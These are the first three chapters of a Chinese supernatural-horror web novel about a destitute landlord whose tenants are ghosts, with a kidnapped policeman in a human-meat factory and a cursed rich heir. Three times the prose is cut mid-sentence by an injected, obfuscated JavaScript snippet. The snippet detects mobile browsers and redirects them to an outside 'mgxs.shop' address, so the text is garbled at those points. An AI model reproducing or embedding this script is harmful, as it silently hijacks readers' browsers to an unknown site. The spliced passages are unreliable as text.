《诡异世界包租公》 1. 第 1 章 谢倦迟八岁之前,家庭幸福美满。 家里有个厂,也算是个富二代。 父母恩爱有加,他本人也争气,聪慧,懂事,成绩单往墙上一贴,满墙都是金光闪闪的奖状。那时候他觉得,未来就是一条铺好了红毯的路,他怎么走都光明无限。 但是人生哪有美满。 八岁那年,原本蜜里调油的父母忽然成了两桶炸药,见面就炸。 厂子也邪了门,谈好的合同飞了,工人今天崴脚明天罢工,机器跟约好了似的轮番坏......这情况,谁听了都得摇头,叹一句指定是冲撞了什么。 不出意外,最糟糕的事情发生了。 一次非常严重的安全事故,直接导致一名工人死亡。 不死人一切都好说,死了人就完蛋了。 这个时候,谢倦迟再聪明也才八岁,还是个孩子,谢父谢母不可能让他参与,只叫他好好读书。 谢倦迟捧着书,听着门外父母的争吵声,非常迷茫。 后面是怎么解决的谢倦迟一概不知,只知家里破了产,从别墅搬到老城区,生活质量大大下降。 但这对谢倦迟来说都不是问题,只要爸爸妈妈在,待在哪里没有任何区别。他依然觉得自己是幸福的。 但谢家的倒霉自此仍然没有结束。 夫妻俩找不到像样的工作,最后谢父去跑了大车,谢母在超市打零工,下班了还要支个小摊卖袜子手套补贴家用。 谢倦迟这一年十一岁,读六年级。 一天,厨房里剁肉的声音比往常都响。然后是吵架,声浪一阵高过一阵,最后,剁肉声停了。 谢倦迟彼时正埋头写作业。 忽地一声巨响。 他顿住笔尖,想了想,犹豫着起身打开门,探出脑袋。 厨房在最里侧,灯光昏黄,照出一地刺目的红。母亲站在那儿,手里握着菜刀,刀上挂着碎肉和血。 父亲倒在地上,一动不动,脖颈和肩膀之间一道深深的裂口正欢快地往外冒血。 谢倦迟呆住。 谢母抬头,眼神空洞无光。她神情麻木的看了谢倦迟几秒,毫无征兆地举起刀,朝谢倦迟冲去。 谢倦迟转身就跑。好在他的房间离玄关最近,门就在身后,他一把拉开门冲出去,拖鞋已经跑掉了,他赤脚踩在冰冷粗糙的楼梯上,扯着嗓子喊救命。 很快跑出了单元楼,街上的人看到这一幕吓坏了,有人尖叫,有人打电话,有人冲上来把谢倦迟护在身后,还有热心群众齐力制止谢母。 安全了。 谢倦迟回头,看见母亲被几个男人按在地上,她还在挣扎,头发散了一脸,手里的刀不知甩到哪儿去了。 不久后警车来了,红蓝光转得谢倦迟眼睛疼。 到了警局,谢倦迟裹着一条毯子,坐在椅子上,嘴唇动了动,什么都说不出来。脑子像灌了铅,又重又空。 角落里,两个警察压低声音说话。 他听见了。 不知道为什么,明明隔那么远,两人的声音也足够小,但他就是听见了。 “......自杀了。” “怎么可能?不是按住了吗?” “突然就发了疯一样,力气大得我们几个人都没按住,一头撞墙上了。” “孩子呢?” “查清楚了,是一家人。” *** 谢倦迟觉得自己在做梦。 一场想快点醒来的噩梦。 但这场梦名为现实,他永远也醒不过来。 闭上眼,记忆就往外冒。父母抱着他过生日,笑脸挤在镜头里,蜡烛光把三张脸都照得暖洋洋的。 多好的画面。然后就开始褪色,褪成泛黄的旧照片,再然后,照片上的笑容扭曲了,嘴角咧到耳根,眼眶里黑洞洞的。 “宝宝,你快点来陪我们。” “爸爸和妈妈最爱你了,你怎么舍得丢下我们?” 声音从很远的地方飘过来,又软又轻,像哄睡时的摇篮曲。 谢倦迟猛地睁开眼。 天花板是黑的,被夜色染透,边缘处有窗外漏进来的一点点光。他盯着那片黑看了很久,呼吸才慢慢匀下来。 摸过放在枕边的手机,屏幕亮起来的那一刻,光刺得他眯起眼。 凌晨2:30。 他1点睡的。也就是说只睡了一个半小时。 怪不得眼睛发酸,脑袋发沉,太阳穴那里隐隐有根筋在跳,标准的没睡好套餐。他眼底那两片青黑已经快焊死在脸上了,天天做这种梦,能睡好才怪。 关上手机,塞回枕边,拉了拉被子,闭眼。 一分钟。 两分钟。 半小时后,谢倦迟睁开眼,盯着天花板,眼神像一条死透的鱼。 他坐起来,“啧”了一声,掀开被子下床。手摸到床头开关,“啪”的一声,灯光填满整个房间。 走到零食柜前蹲下,拉开柜门。 低头挑选的时候,睡衣领口往下坠,露出锁骨,深刻得能积一片小水洼的那种。 下颌线清晰,脖子纤细,喉结凸出来一块,一切都证明谢倦迟很瘦,非常瘦,不过是那种体脂率很低的瘦——拉柜门的时候,他手臂只是微微用力,肌肉线条就很明显的浮出来了。 挑来挑去,谢倦迟最后挑了一桶红烧牛肉面。 烧水。等水开的功夫,顺手开了电脑。反正睡不着,不如打两把游戏。 十分钟后。 水早就烧好了,壶嘴冒着白气,谢倦迟一眼都没看,专心致志的对着显示屏,手指在键盘上敲得飞快。 游戏里,他操作的角色正蹲在草丛里卡视野。 队友的麦炸了:“打野会不会玩?对面反野你人呢?刷你那破野怪刷出花来了?” “你玩你*傻*还不如小学生,你***!” 谢倦迟没理。 对面打野露头的一瞬间,他动了。 技能全中,走位拉满,对面五个人反应过来的时候已经躺下去三个。剩下两个想跑,他闪现追上去,一套带走。 五杀。 屏幕中央跳出金色的图标。 安静了两秒,刚才骂人的队友开口了:“哥,我错了。” “打野牛逼啊!” “加好友加好友!” 游戏结束,谢倦迟看着好友申请列表,鼠标移到忽略上,点了下去。 关了游戏界面,他才想起来泡面这回事。 水已经温了,他重新烧了一壶,撕开调料包往桶里倒。手上沾了油,黏糊糊的,正思考是拿水冲一下还是拿纸擦。 “叩叩。” 敲门声。 谢倦迟顿了下,眉头半皱,心情下降。 其实是件小事,没什么好气的。所以,硬要说的话,单纯气性大。 可能是小时候经历了重大打击,以至于秩序期一直没过去,延续到现在,什么事都得按他的节奏来,谁打乱他跟谁急。 嗯,说白了,就是脾气不好。 抽了张纸,谢倦迟擦着手往门口走。 “咚咚咚!” 门外的人似乎等不及了,又敲了,这回更急,更响,好几下砸在门上,也砸在他神经上。 谢倦迟的眉头彻底拧起来,手按上门把手,一把拉开门。 门外站着一个女人。 口罩遮住大半张脸,剩一双眼睛露在外面。头发很长,湿漉漉的披着,一大半垂在脸前,几乎把整张脸遮住。身上套一件红色大衣,里面是白衬衣,底下小皮裙,脚上一双高跟鞋。 挺时髦的打扮。 就是太阴郁了,让人很难升起欣赏的心思。 谢倦迟一只手按在门框上,手背上青筋暴起来,语气压抑着怒火,神色恹恹的问道:“有事?” 女人还没开口,谢倦迟盯着她,忽然开口:“401房的?” 他靠到门框上,手还按在那儿,青筋没消下去,但火气消下去了一点。 “嗯,你确实该今天交租了。” 说着,谢倦迟上下扫了女人一眼。 “真难得,一般都是我上门要租,你们很少主动。” 女人面无表情,冷冷的看着谢倦迟,头发后面的眼睛瞳仁大得吓人,几乎把眼白全盖住,看人的眼神阴测测的,像从井底往上望。 正常人被这么盯着,早该后背发凉了,但谢倦迟没反应,还朝人伸手。 “交诡气还是诡物?事先说好,诡物价值由我来定,不按市场价走,可能高可能低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320965|199051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但我可以告诉你,绝对公平。诡气的话,一口价,八百。” 女人不语,空气中的湿气好像加重了,温度也下降了。她眼眶里慢慢渗出血,顺着脸颊往下淌,淌过口罩边缘,滴在大衣领口上。 自然下垂的手里凭空多出一把剪刀。类似园林剪那种,刃口锃亮。 女人握着剪刀,二话不说朝谢倦迟刺去。 距离太近了,近到根本没地方躲,也没时间反应。哪怕是受过训练的人,这一下也得见血。 但剪刀丝毫没碰到谢倦迟,停在谢倦迟喉咙前三寸的地方,纹丝不动。 谢倦迟的表情冷下来。 “有的时候我真的很怀疑你们诡怪有没有脑子。知道这里是我的地盘,而且你们是因为什么原因来到这里的,你们自己应该很清楚......你是怎么敢对我动手的?” 话音刚落。 女人忽然被什么东西拎起来。看不见,摸不着,但就那么凭空拎起来,脚离地,剪刀脱手。 剪刀在半空中停住。接着开始扭曲。 “咯吱——咯吱——” 金属发出悲鸣,刃口卷起来,刀身拧成麻花,像被一只无形的手攥着、揉着、捏着,最后咣当一声掉在地上,成了一堆废铁。 女人喉咙里发出刺耳尖锐的惨叫。 与此同时,走廊上的窗户自动弹开,风灌进来,冷得刺骨。 下一秒,女人被甩了出去。 窗户大开着,露出外面的世界。 和谢倦迟房间里看到的完全不同。 走廊外的世界月亮是血红色的,挂在天上像一只睁开的眼睛。 四周什么都没有,只有这一栋楼孤零零地立着。再往外推一千米,是浓稠的黑雾,翻滚着,涌动着,时不时传出令人头皮发麻的动静。 女人从十楼摔下去,砰的一声砸在地上。没死,还毫发无损地爬了起来,浑身发抖,哆嗦着就往楼里冲。 但是撞上了一层看不见的屏障。 她疯了一样用手拍,用指甲抠,用肩膀撞,披头散发,声音都劈了:“让我进去!让我进去!” 谢倦迟站在十楼窗边往下看,神色漠然。 一千米外的黑雾像寻找到了猎物,向女人的方向涌来。 女人感觉到了什么,回头看去,这一看,身体僵住。 黑雾在逼近。 “我错了!”她尖叫道,声音尖得刺破夜空,“你想要什么我都给你!” 谢倦迟无动于衷。 黑雾眨眼近了百米。 女人把手往风衣内口袋里掏。 一个Hello Kitty发卡,一个精致的皮质钱包,一把梳子。三样东西被她攥在手里,举起来,朝楼上晃。 此时黑雾离她还有二百米。 青年纹丝不动。 女人眼里露出绝望。 她后悔了。真的后悔了。 也是她太贪了......但是谁不贪啊?谁不贪谁是傻逼!诡怪只是在欲望这方面强烈点,所以贪的也就更多...... 当然,主要原因是她没想到公寓的主人居然装人类!钓鱼执法,根本就是钓鱼执法! 女人后知后觉意识到这一点,在心里狠狠骂了一句奸商。 她闭上眼,心想吾命休矣。 挡着她的屏障这时消失了。身体一空,女人往前一栽,跌进了公寓楼里。黑雾被挡在门外,翻滚着,不甘心地徘徊 她瘫在地上,浑身发抖,还没反应过来,面前就多了一双脚。 抬头。 刚才还在十楼窗边的青年站在她面前,居高临下的看着她。 “精神损失费,加你这月的房租,三样诡物,刚刚够。” 女人张了张嘴,不敢怒也不敢言。 她这认怂的态度,让谢倦迟勉强满意。 勾了勾手,三样东西飞进他手里,谢倦迟转身往电梯走,走了两步,停住。 “温馨提示,每个月月底交租。不交,当退房处理。” “别想着白嫖。” 说完,谢倦迟的身影消失在拐角。 良久,女人才找回自己的声音,哑着嗓子,朝着空荡荡的走廊说了一句: “......我会按时缴费的。” 2. 第 2 章 夕阳如血,将天空浸染得通红。 一座工厂挺拔而起,烟囱直戳进那片红里,往外吐着白烟。烟是乳白色的,稠得像奶,飘到半空散开,空气里有一股煮肉的香味。 肉香味里裹着惨叫。凄厉的,从厂房深处传出来,闷在机器轰鸣里,断断续续。 厂房里,几排巨大的铁笼悬挂在半空,离地三四米。笼子里关着人,男的,女的,年轻的,上岁数的,挤在一起,像货架上码好的商品。 有人哭,有人喊,有人缩在角落一动不动。更多的人则是在发抖。 他们清楚接下来会发生什么。 案板就摆在笼子下方,面前站着一排工人,每个人头上都戴着一个猪头罩,逼真得就像是真的,眼瞳蒙着一层阴翳的灰白的膜。 他们穿着油腻的皮围裙,围裙上溅满了黑红的血点子,已经结了痂。 案板上,一具具人体正被分解。 先卸腿。刀从胯骨那儿插进去,顺着关节一转,咔的一声,整条腿就下来了。 然后是胳膊,最后是躯干,开膛,掏内脏,脊骨被砍刀剁成几截。 割下来的肥膘扔左边,精肉扔右边,排骨码成一排,下水丢进脚边的桶里。 不远处,一口巨大的铁锅永远咕嘟着,里面煮着乳白色的高汤,汤面上漂着一层油花。 一个工人拿长柄勺搅了搅,捞出一根手指骨,看了一眼,又扔回去。 更往里走,是一排排铁架子,架子上挂满了风干腊肉。 昏黄的灯光从头顶打下来,照着那些风干到缩水的人形轮廓,有胳膊有腿,有低垂的脑袋,有模糊的五官。 空气里弥漫着让人胃里翻涌的腥味。 一个身形矮小但肥壮的男人背着手,慢慢走在厂区里。肚子上的那圈肥肉把衬衫扣子撑得紧绷绷的,走路的时候,两瓣屁股一扭一扭,像两只塞满了米的布袋在打架。 他叫李富贵。 当然,没人敢叫他李富贵。都叫李厂长。 李厂长这会儿正背着手,巡视他的领地。 怎么说呢,那姿态,像一头雄狮。 一头矮脚、肥肚、走路扭屁股的雄狮。 他踱着方步,下巴微微扬起,目光从笼子上扫过,从案板上扫过,从那一排排风干腊肉上扫过。脸上没什么表情,但那股子矜傲劲儿,隔着八百米都能闻着。 路过的工人见了他,都会停下来,恭恭敬敬点个头:“李厂长。” 李厂长不吭声,也不点头,就那么走过去。 在这个以实力为尊的诡异世界,实力就是一切。有实力,就能高高在上。实话说不搭理你都是好的,好歹没要你命。你还想咋的? 走到一排笼子跟前,李厂长停下脚步。 笼子里的人纷纷往后缩,挤成一团,恨不得把自己塞进别人的身体里。 一个年轻女人死死捂着嘴,眼泪哗哗往下淌,不敢哭出声。她旁边一个男的,脸白得像纸,嘴唇哆嗦着,显然吓惨了。 李厂长满意的看着这一幕。 对喽,就是这种反应。 他就喜欢看人类这样。害怕,发抖,缩成一团,像一群待宰的羔羊。不对,不是像,就是。 他的目光从那些脸上扫过去,一个一个的扫,忽然,停住。 笼子的一角缩着一个,男的,三十来岁,寸头,脸上有几天没刮的胡茬。蹲在那儿,两只手搭在膝盖上,姿势很放松,像在公园里晒太阳。 表情也很放松,完全没有那种快要吓破胆的空白。 李厂长皱了皱眉,不过到底没说什么,背着手,继续往前走了。 哼,估计是吓傻了。 裴沉看着那个矮胖的背影走远,收回目光。 他是名警察。 刑警队的,干了快十年。追嫌犯追了三条街,最后在一个巷子里堵住了对方。那小子跑不动了,扶着墙喘气,回头冲他笑了一下,笑得特狰狞,说:“都是你逼我的。” 然后他就突然没意识了。 再醒过来,就在这儿。说实话,刚醒那会,他还以为自己在做梦。或者被人下了药,产生了幻觉。 国内怎么可能有这种地方?光天化日,朗朗乾坤,人肉加工厂?开什么玩笑。 但两天过去了,不是梦,也不是幻觉。 那些关在笼子里的人他试着问过,问他们是怎么来的,来多久了,知不知道这是什么地方。 没人理他。 或低着头,嘴里念念有词,不知道在嘀咕什么;或直直盯着一个地方,眼珠子都不转一下;还有的冲他傻笑,笑完了接着哭。 这状况,要么疯了,要么离疯不远。 裴沉也试过别的。 笼子门是从外面锁的,锁是普通挂锁,可惜够不着。 他也试过跟那些工人搭话。 “兄弟,哪儿人啊?” 没反应。 “这工作累不累?一天干几个小时?” 没反应。 “咱这厂子,老板是谁?有编制没?” 还是没反应。 裴沉也不知道自己是该庆幸还是该遗憾。 ——庆幸工人没对他动手。 他见过他们对不听话的人是什么态度:一个男的想反抗,刚站起来,就被一个工人从笼子外面伸进手去,一把攥住脖子,像攥小鸡仔一样,直接拧断了。 就一下。 咔。 然后那个工人把尸体拖出来,扔在案板上,开始剥皮。 ——遗憾的是一点信息没套出来。 不,也不能说完全没搜集到一点信息,至少从这群法外狂徒做的事来看,肯定不是在国内。 裴沉换了个姿势,从蹲着变成坐着,靠着笼子的铁栏杆,目光扫过那些工人。 又高又壮,力气大得离谱,动作机械重复,一看就是干了很久都形成身体记忆了。 等一下。 裴沉的视线停在其中一个工人身上。 那个工人正在案板边忙活,背对着他。猪头罩的后脑勺那儿,有一道浅浅的痕迹。 这是...... 裴沉眯起眼。 那个工人这时转过身来,去够旁边的刀。猪头罩的侧面暴露在他视野里。 嗯? 裴沉盯着工人的脖子。在脖子和猪头罩交界的地方,他看见了一条线。 裴沉脸色骤变。 缝合线?! 黑色的线从后颈绕到前面,绕了整整一圈,像缝衣服一样,把猪头罩的下沿和脖子的皮肤缝在一起。 裴沉呼吸一顿。 好了,现在已经不是国不国内的问题了,这特么到底给他干哪来了?还是阳间吗??? ......难道说像那些美式恐怖片一样,这里是邪恶的实验所? 嫌犯竟然还与境外势力有勾结?如果真如他所猜想,他必须竭尽所能把情报传回去。 *** 清明后的第一个晴天。 这天天蓝得太过分,一丝云都没有,阳光白晃晃的,落在墓碑上。 刑警二队队员站最前面,胸口别着白花。 队长老刘站在头一排,眼睛盯着墓碑上的照片,眼眶泛红。 旁边的小周低着头,肩膀一耸一耸的。他旁边的小李没低头,抬着脸看天,眼珠子拼命往上翻,翻得眼白都露出来,就是不往下看——往下看就憋不住眼泪了。 半晌,老刘眨了眼,一眨眼,眼泪就掉下来。他用袖子蹭了一下,接着往前走了一步,站到墓碑前,敬了个礼。 后面的几十只手跟着齐刷刷抬了起来。 礼毕。 一夜之间白了头的俩夫妻站在墓碑前,看着碑上的照片,里面穿军装的年轻人是他们的儿子,冲镜头笑得灿烂。 这是十年前拍的。那会儿子刚从部队转业,分到市局,非要穿军装去照相馆拍一张,说纪念一下。 拍完拿回来给父母看,裴父板着脸骂了一句臭美。 裴母坐在轮椅上。她是突然“瘸”的,从接到儿子牺牲消息的那天起,她就站不起来了,医生说不是腿的事,是脑子的事,受了太大刺激,成了心病,医不好,只有等病人自己看开。 裴母已经哭了太多,现在哭不出来了,她就那么盯着照片,盯着盯着,嘴唇开始抖,抖得厉害,像有根线在底下扯,抖了半天,发出一声长长的喘息,像是憋了很久终于吐出来。 她伸手颤颤巍巍够向墓碑。 够到了。 手指摸着照片里的人,从额头摸到眼睛,从眼睛摸到嘴角。摸了一遍又摸一遍。 “瘦了。”她说。 旁边的人愣住。 她又说了一遍:“瘦了。叫你好好吃饭,你不听我的......你从来不听我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320966|199051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我让你保护好自己,你怎么就不听呢?” 战友们的眼眶更红了。阳光倾洒在墓碑上,拂在黑白照片上。照片上的年轻人笑得眼睛弯成两道弧。 和裴沉不能说很像,简直是一模一样。 就是年轻点。毕竟是十年前拍的。 *** 商场三楼,电玩厅。 门口两排娃娃机,抓夹一张一合。音乐声从里面炸出来,叮叮咚咚的,震得地板仿佛都在抖。 谢倦迟双手插兜,走了进来。 头发有点长,后脑勺那儿扎了一小撮,松松散散耷拉着。 瘦,高,走路的姿势带着股懒劲儿,好像对什么都不太在意。表情也懒,眼皮半垂着,嘴角平平的,看不出高兴还是不高兴。 他往里走,路过的地方,有几道目光黏上来。 两个扎马尾的女孩站在跳舞机旁边,本来在等机器,看见他,其中一个忽然不说话了,盯着他看,看了一会儿,脸慢慢红了。 另一个用胳膊肘捅她,凑过去小声说什么,两个人就捂嘴笑。 谢倦迟没看她们。 他走到投篮机跟前,扫码,投币,球滚下来。他单手抓起一个,手腕一抖,球飞出去。 空心。 第二个。空心。 第三个。还是空心。 机器报分的声音响成一片,他眼皮都没抬一下,就那么一个接一个的扔。旁边玩的小孩停下来看他,张着嘴,手里的球都忘了扔。 一局打完,分数刷了新纪录。 他转身走开,去玩赛车。 赛车玩完,去玩打鼓。 打鼓玩完,去玩抓娃娃,抓了三次,抓上来两个,一个扔给旁边盯着看的小孩,一个塞自己口袋里。 全程表情没变过。 彼时他站在一台格斗机前面选角色,肩膀忽然被人轻轻拍了一下。 回头。 是刚才扎马尾的两个女孩之一。红着脸的那个,现在更红了,红到耳朵尖。她手里攥着手机,屏幕亮着,是二维码。 “那个......能加个微信吗?” 谢倦迟看着她。 “不能。” 说完转回去,继续选角色。 女孩愣住,脸上的红慢慢变成另一种红,转身跑开。 她朋友揽住她肩膀,安慰道:“别伤心了,帅又怎样,没礼貌的装货。” 声音很小。 电玩厅里音乐震天响,正常来说什么都听不见。但谢倦迟听见了,他按在摇杆上的手顿了一下。 确认开始游戏,屏幕里的人物一个连招把对手打飞,血条清空。 K.O 看过死神来了吗。 加他好友,可能下一秒人好端端走在路上,一辆失控的车就撞了过来。或者头顶的广告牌掉下来。或者只是好好站着,忽然心脏就不跳了。 这样还敢加他吗? “好啦好啦,别难过啦。”朋友继续安慰女孩,“你长得又不丑,只能说那小子没有欣赏眼光。” 女孩被她逗笑了,推了她一把:“行了行了,你又不是那种尖酸刻薄的人,别强迫自己刻薄了。我就是尴尬......就那种,好不容易鼓起一次勇气,结果被拒了,你懂吧?” “懂懂懂。” 她们说着话,准备往门口走。 谢倦迟这时忽然走了过来,挡在她们面前。 两人同时僵住。 女孩:!!! 朋友:??? “完了完了完了,他听到了!”女孩压低声音,攥住朋友胳膊。 “不能吧!这儿这么吵!而且我声音那么小!” 两个人满头大汗,脸上的表情精彩极了。 谢倦迟垂着眼看她们。几秒后,他从口袋里掏出一样东西,递过去。 是一个Hello Kitty发卡。 ——递给那个朋友。 朋友:“?” 盯着发卡看了三秒,朋友疯狂摇头:“不不不不不你干嘛?你想毁了我跟我闺蜜的关系吗?” 谢倦迟:“......戴着。” “啊?” “你最近可能有血光之灾,这个发夹或许能救你一命。” 说完,他把发卡往朋友口袋里一塞,便转身走了。 留下两个女孩一脸懵逼的面面相觑。 3. 第 3 章 天色渐晚,夜幕降临,城市被霓虹灯装饰得亮如白昼。 已经是晚上八点,街上还有很多人。 写字楼里加完班的白领拎着包往地铁站赶,下晚自习的学生三五成群扎进奶茶店,路边摊支起小桌板,铁板上的鱿鱼滋滋冒油,香气裹着烟气往天上窜......好不热闹,充满红尘气息。 忽然,一阵轰鸣从远处炸响。 未见其车,先闻其声——发动机的咆哮像一头宣告存在感的猛兽,嗷嗷叫着从车流里杀出来。 “卧槽?”路边一个拎着烤串的年轻人扭头,“搞毛啊?二环内!这特么谁敢炸街?” 旁边桌的大爷摇着蒲扇,一边撸串一边慢悠悠接话:“哎哟,京市嘛,指不定哪家的公子哥儿。跟咱们这些小屁民,不一样的啦。”说完咬了一口腰子,嚼得满嘴流油。 话音没落,一道明黄飞快地窜了出来。 是辆法拉利,属于超跑的标准底盘低,几乎是贴着地面‘飞’过去,引擎的声浪砸在两侧楼墙上,来回弹了几弹,震得人胸腔发闷。 街上的人纷纷扭头。谢倦迟也停了脚步。 他双手插兜,站在街边,脸上没什么表情。霓虹灯的光照在他身上,把他那张厌世脸照得一明一暗。头发有点长,在耳朵边耷拉着,衬得下颌线更清晰。 他本来没打算看那辆车。无奈车顶上有东西,吸引了他的目光。 一团黑雾。浓得化不开那种,从车顶往上冒,拉成一条细细的线,直直戳向夜空,像从天上垂下来的蛛丝。 谢倦迟琥珀色的瞳孔掠过一抹金色。 一串黑红的数字浮在那条线上:71:11:25 24,23,22...... 很显然,是倒计时。 谢倦迟盯着那串数字,看它一秒一秒往下跌。法拉利已经窜出老远,尾灯变成两个小红点,但那团黑雾依然还在他视线里飘着,数字也还在跳。 半晌,他若无其事的收回目光,继续往前走。走了几步,又停下。 身后有脚步声。 谢倦迟垂下眼睫,没回头,迈开腿继续往前走,拐进旁边一条巷子。 巷子很窄,两边是居民楼的侧墙,墙上爬满空调外机。 路灯坏了,灯泡碎在地上没人管,只剩几根电线耷拉着。月光从头顶漏下来,照出一小片灰白,其余地方全是黑的。 身后那个脚步声跟了进来。 谢倦迟没停,往巷子深处走。 天忽然暗了。 原来云层飘过来,把月亮遮了个严实。 身后的脚步声停了。 黑暗中传来一声低低的咒骂:“操。” 几秒后,云层飘走,月光重新洒下来。 巷子里空空荡荡。 弓着背畏畏缩缩,戴着鸭舌帽,帽檐拉得极低,还戴着口罩,只露出一双倒三角眼型的男人愣住。 他不信邪地揉了揉眼睛。没人。 往前走几步,左右看。依旧没人。 男人呆呆站定,手还保持着准备伸出去偷的姿势,倒三角眼里写满问号。 人呢? 月光照着他那颗戴着鸭舌帽的脑袋,在墙上投下一个扭曲的影子。一阵夜风吹过,男人打了个寒颤。 嘶,见鬼了! 缩了缩脖子,男人扭头就跑。 *** 落地窗把午后的阳光筛成一片柔和的金色,洒在客厅的大理石地面上。 王母坐在花艺桌前,手指捻着花枝,剪子咔嚓一声,斜斜切掉多余的枝叶。 她保养得好,五十岁的人看着像三十出头,腕上的冰种翡翠镯子随着动作轻轻晃着光。 手机这时响了。 她放下剪子,看了一眼来电显示,接起来。 对面说了不到二十秒。王母脸上的表情没大动,但嘴角往下压了压。 “好的,我知道了。” 挂断电话,她深吸一口气,拨通了儿子的号码。 那边响了一声就接通了。 “王景明。”王母声音压着火,“你怎么敢在二环内炸街的?还超速行驶?监控把你拍得清清楚楚明明白白,你现在给我回家来!” 那边没回答,只有呼吸声。 王母火一下子往上窜。她一把将剪子拍在桌上,“啪”的一巨声,震得花瓶里的水晃了晃,几片花瓣抖落下来。 “好好好。”气得一脸说了三个好,“从今天起,你所有银行卡我给你停了!” 这话扔出去,那边总算有了动静。 “妈......”声音带着哭腔,抖得厉害。 “救我......” 王母愣住。 自己儿子什么样她最清楚,从小就是混世魔王,从不服软,挨打都不带哭的,倔得像头驴。可以说这种带着哭腔的求救,她这辈子都没听过。 “景明?”她眼皮一跳,“怎么了?你现在很危险?” “呜呜呜,妈,我不想死......我错了......”声音越来越不对劲。 哭腔还在,但调子变了。变得幽怨,变得尖利,变得像女声。 最后三个字“我错了”说完,那边忽然安静了。 一秒。 两秒。 然后一声轻笑。 阴森森的,听得人头皮发麻。 “嘻嘻。第二个。” 电话挂断了。 王母强迫自己冷静,但颤抖的手出卖了她此刻冷静不了一点。她再拨过去。关机。 *** 谢倦迟坐在沙发上,两条长腿叉开,手肘撑在膝盖上,双手交叉托着下巴,一副沉思者的模样。 面前茶几上摆着一个钱包,他拿起来,翻来覆去看了两眼,而后打开。 五张红票,还有几张绿票,加起来统共512。 对他来说,算是笔意外之财了。 ——谢倦迟很穷。 穷到什么程度?泡面只买袋装,不买桶装,因为袋装便宜两块五,而且专挑临期打折的时候买,一买一箱,能吃大半个月。 毕竟他没工作,零收入。 按理说,坐拥一栋楼的他身为包租公不应该缺钱,但问题是,租客交的钱,在现世花不出去。 所以他穷,穷得叮当响。 好在每次谢倦迟穷得快活不下去了,兜里快连泡面都买不起的时候,总有意外收入。譬如今天这种黑吃黑,或者路上捡一百,后天帮人忙人家给点感谢费...... 反正死不了,但也活不好就是了。 谢倦迟盯着茶几发了一会儿呆,从口袋里掏出手机,打开浏览器,输入一行字:“法拉利多少钱” 搜索结果出来,他扫了一眼。 个、十、百、千、万、十万、百万...... 好多零。 把手机往茶几上一扔,接着向后一靠,仰头盯着天花板。 老天让他看见,说不定就是让他赚这笔钱呢。 *** 医院。VIP单人病房。 病床上躺着个人,瘦得脱了相,脸颊凹进去,眼眶深陷,嘴唇干裂起皮。各种管子从鼻子、手腕、胸口伸出来,连着床边的机器,屏幕上跳着绿色的波浪线。 王母站在床边,眼泪一直没停过。 这时门推开。 一个中年男人大步走进来,西装没来得及换,领带松垮垮挂着,脸上带着从公司一路赶过来的风尘仆仆。 王母见到他像见了主心骨,扑上去抓住男人的手臂,指甲几乎掐进肉里。 “老公,儿子他——” “我知道。”男人盯着床上的人,“医院怎么说?” “内脏衰竭。查不出原因。”王母哽咽道,“但是出事前我给儿子打过电话,他在电话里很奇怪。” 她把那天电话里的情况一五一十说了。 男人闻言,脸色越来越沉。 做了几十年夫妻,王母太了解丈夫了,一把抓住男人的袖子:“你是不是知道什么?” 男人没说话。 “你快说啊!”王母急了,“好歹是我们的儿子!你不能见死不救!” 男人甩开她的手,这一甩用了力,王母踉跄了一步。男人忍着手臂隐隐作痛,压低声音道:“我怎么可能见死不救?你急什么!我只是在想......” “想什么?”王母都要急死了。 男人沉默了几秒,目光落在儿子脸上。 那张脸如今瘦得颧骨突出。这才半天啊! “儿子是不是中邪了。” 王母愣住。 “什么?”她怀疑自己听错了,“这不是封建迷信吗?” 男人走到床边,抬手想摸摸儿子的脸,手悬在半空,又收回来,闭了闭眼,沉着道:“这明显不正常。别说是什么人类还没研究出来的病症,我不信。之前我一个合伙人家里就出过类似的事,家里人无缘无故病重,医院查不出来,眼看不行了,后来找了个大师,好了。” 王母张了张嘴,她想说这也太离谱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320967|199051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,但话到嘴边,看见床上儿子那张脱了相的脸,又咽回去。 “那你就去找大师啊!不管是什么,只要能救儿子!” 男人拿出手机,“我知道。” 他翻着通讯录,找到一个号码,拨了过去。 “喂,老郑,上次你说的那个大师......” 另一边。 谢倦迟将所有诡物都拿了出来,再加上诡气,把所有老本都算上了,不够他去现世半个小时。 半个小时,都不够他找到那家人。 ......早知道平时攒点了。 谢倦迟开始后悔。 他平时花‘钱’大手大脚惯了,收了租就花,花了再收,从来没想过存。他太需要和活人待在一起了,渴望现世的一切。 结果就是现在好了,真要用的时候,连一个小时都凑不出来。 